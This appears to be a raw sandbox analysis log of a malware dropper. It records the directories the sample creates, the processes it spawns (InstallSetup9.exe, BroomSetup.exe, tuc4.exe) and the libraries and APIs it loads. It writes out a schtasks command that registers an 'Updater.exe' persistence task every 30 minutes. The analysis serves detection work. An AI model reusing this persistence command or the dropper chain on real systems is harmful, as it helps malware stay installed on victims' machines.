uDisableThreadLibraryCallsKERNEL32.dllISCrypt.dllArcFourCryptArcFourInitISCryptGetVersion" (Indicator: "GetVersion"; File: "_iscrypt.dll") Found reference to API "ISCryptGetVersion" (Indicator: "GetVersion"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "ISCryptGetVersion" (Indicator: "GetVersion"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "function GetVersionNumbers(const Filename: String; var VersionMS, VersionLS: Cardinal): Boolean;" (Indicator: "GetVersion"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "function GetVersionNumbersString(const Filename: String; var Version: String): Boolean;" (Indicator: "GetVersion"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "DllGetVersion" (Indicator: "GetVersion"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")3a:T7c7,"InstallSetup9.exe" called "CreateDirectoryW" with parameter %TEMP%\ (UID: 00000000-00008576) "InstallSetup9.exe" called "CreateDirectoryW" with parameter C:\Users (UID: 00000000-00008576) "InstallSetup9.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00008576) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData (UID: 00000000-00008576) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00008576) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00008576) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %TEMP%\nsmE8FF.tmp (UID: 00000000-00008576) "tuc4.exe" called "CreateDirectoryA" with parameter %TEMP%\is-LO8DU.tmp (UID: 00000000-00008828) "BroomSetup.exe" called "CreateDirectoryW" with parameter %APPDATA%\Temp (UID: 00000000-00008552) "tuc4.tmp" called "CreateDirectoryA" with parameter %TEMP%\is-3UN1S.tmp (UID: 00000000-00001444) "tuc4.tmp" called "CreateDirectoryA" with parameter %TEMP%\is-3UN1S.tmp\_isetup (UID: 00000000-00001444) "tuc4.tmp" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\AVI formatter tool (UID: 00000000-00001444) "tuc4.tmp" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin (UID: 00000000-00001444) "tuc4.tmp" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86 (UID: 00000000-00001444) "tuc4.tmp" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\lessmsi (UID: 00000000-00001444) "tuc4.tmp" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\plugins (UID: 00000000-00001444) "tuc4.tmp" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\plugins\internal (UID: 00000000-00001444) "tuc4.tmp" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\AVI formatter tool\stuff (UID: 00000000-00001444)3b:T5ea,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "CreateProcessW" with parameter ""%TEMP%\InstallSetup9.exe"" - (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "CreateProcessW" with parameter ""%TEMP%\288c47bbc1871b439df19ff4df68f076.exe"" - (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "CreateProcessW" with parameter ""%TEMP%\tuc4.exe"" - (UID: 00000000-00008776) "InstallSetup9.exe" called "CreateProcessW" with parameter "%TEMP%\BroomSetup.exe" - (UID: 00000000-00008576) "InstallSetup9.exe" called "CreateProcessW" with parameter "%TEMP%\nsm41FE.tmp" - (UID: 00000000-00008576) "tuc4.exe" called "CreateProcessA" with parameter ""%TEMP%\is-LO8DU.tmp\tuc4.tmp" /SL5="$5004C 4603451 54272 %TEMP%\tuc4.exe"" - (UID: 00000000-00008828) "BroomSetup.exe" called "CreateProcessW" with parameter ""%APPDATA%\Temp\Task.bat"" - (UID: 00000000-00008552) "tuc4.tmp" called "CreateProcessA" with parameter ""%WINDIR%\system32\net.exe" helpmsg 1131" - (UID: 00000000-00001444) "tuc4.tmp" called "CreateProcessA" with parameter ""%LOCALAPPDATA%\AVI formatter tool\aviformattertool.exe" -i" - (UID: 00000000-00001444) "cmd.exe" called "CreateProcessW" with parameter "chcp 1251" - (UID: 00000000-00008532) "cmd.exe" called "CreateProcessW" with parameter "schtasks /create /tn "MalayamaraUpdate" /tr "'%TEMP%\Updater.exe'" /sc minute /mo 30 /F" - (UID: 00000000-00008532)3c:T393a,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00008776) "InstallSetup9.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\UXTHEME.dll (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\USERENV.dll (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SETUPAPI.dll (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\APPHELP.dll (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\PROPSYS.dll (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\DWMAPI.dll (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPTBASE.dll (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\OLEACC.dll (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CLBCATQ.dll (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NTMARTA.dll (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\VERSION.dll (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SHFOLDER.dll (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter %TEMP%\nsmE8FF.tmp\INetC.dll (UID: 00000000-00008576) "InstallSetup9.exe" called "LoadLibrary" with a parameter WININET (UID: 00000000-00008576) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter msvcr100.dll (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00008600) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter netapi32.dll (UID: 00000000-00008600) "tuc4.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008828) "tuc4.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008828) "tuc4.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008828) "tuc4.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008828) "tuc4.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00008828) "BroomSetup.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter Msctf.dll (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter colorui.dll (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter comdlg32.dll (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter compstui.dll (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter inetres.dll (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter UXTHEME (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter User32 (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter DWMAPI.DLL (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00008552) "BroomSetup.exe" called "LoadLibrary" with a parameter Shcore.dll (UID: 00000000-00008552) "tuc4.tmp" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001444) "tuc4.tmp" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001444) "tuc4.tmp" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001444) "tuc4.tmp" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001444) "tuc4.tmp" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00001444) "tuc4.tmp" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001444) "tuc4.tmp" called "LoadLibrary" with a parameter shfolder.dll (UID: 00000000-00001444) "tuc4.tmp" called "LoadLibrary" with a parameter %TEMP%\is-3UN1S.tmp\_isetup\_isdecmp.dll (UID: 00000000-00001444) "tuc4.tmp" called "LoadLibrary" with a parameter %TEMP%\is-3UN1S.tmp\_isetup\_iscrypt.dll (UID: 00000000-00001444) "tuc4.tmp" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001444) "tuc4.tmp" called "LoadLibrary" with a parameter User32.dll (UID: 00000000-00001444) "tuc4.tmp" called "LoadLibrary" with a parameter mpr.dll (UID: 00000000-00001444) "tuc4.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\shlwapi.dll (UID: 00000000-00001444) "tuc4.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\sfc.dll (UID: 00000000-00001444) "aviformattertool.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005060) "aviformattertool.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005060) "aviformattertool.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005060) "aviformattertool.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005060) "aviformattertool.exe" called "LoadLibrary" with a parameter appxsip.dll (UID: 00000000-00005060) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007576) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007576) "net1.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007576) "net1.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007576) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008532) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008532) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008532) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008532)3d:T11d4,"tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\is-8EM8Q.tmp & %LOCALAPPDATA%\AVI formatter tool\unins000.exe (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-D2IHO.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\basscd.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-L88TK.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\bassflac.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-FNDLB.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\bassmix.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-14LP7.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\bassopus.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-B3OEQ.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\basswma.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-RPG62.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\basswv.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-IT2IF.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\bass_fx.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-H1H9R.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\bassmidi.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-SM0SU.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\bass_tta.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-7PKJI.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\COPYING.LGPLv2.1 (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-4SRP0.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\ff_helper.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-EUUPD.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\gain_analysis.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-KGHLP.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\libFLAC_dynamic.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-IEB6T.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\bass_ofr.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-5BQCL.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\OptimFROG.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-Q1RQM.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\mp3gain.exe (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-AMMN6.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\rg_ebur128.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-PU7KQ.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\wavpackdll.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-VNOL6.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\libsoxr.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-9F3KE.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\uchardet.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-0VG2Q.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\utils.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-4M261.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\libdtsdec.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-117UC.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\dsd2.dll (UID: 00000000-00001444) "tuc4.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\AVI formatter tool\bin\x86\is-ND51B.tmp & %LOCALAPPDATA%\AVI formatter tool\bin\x86\lame_enc.dll (UID: 00000000-00001444)3e:T163bd,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW 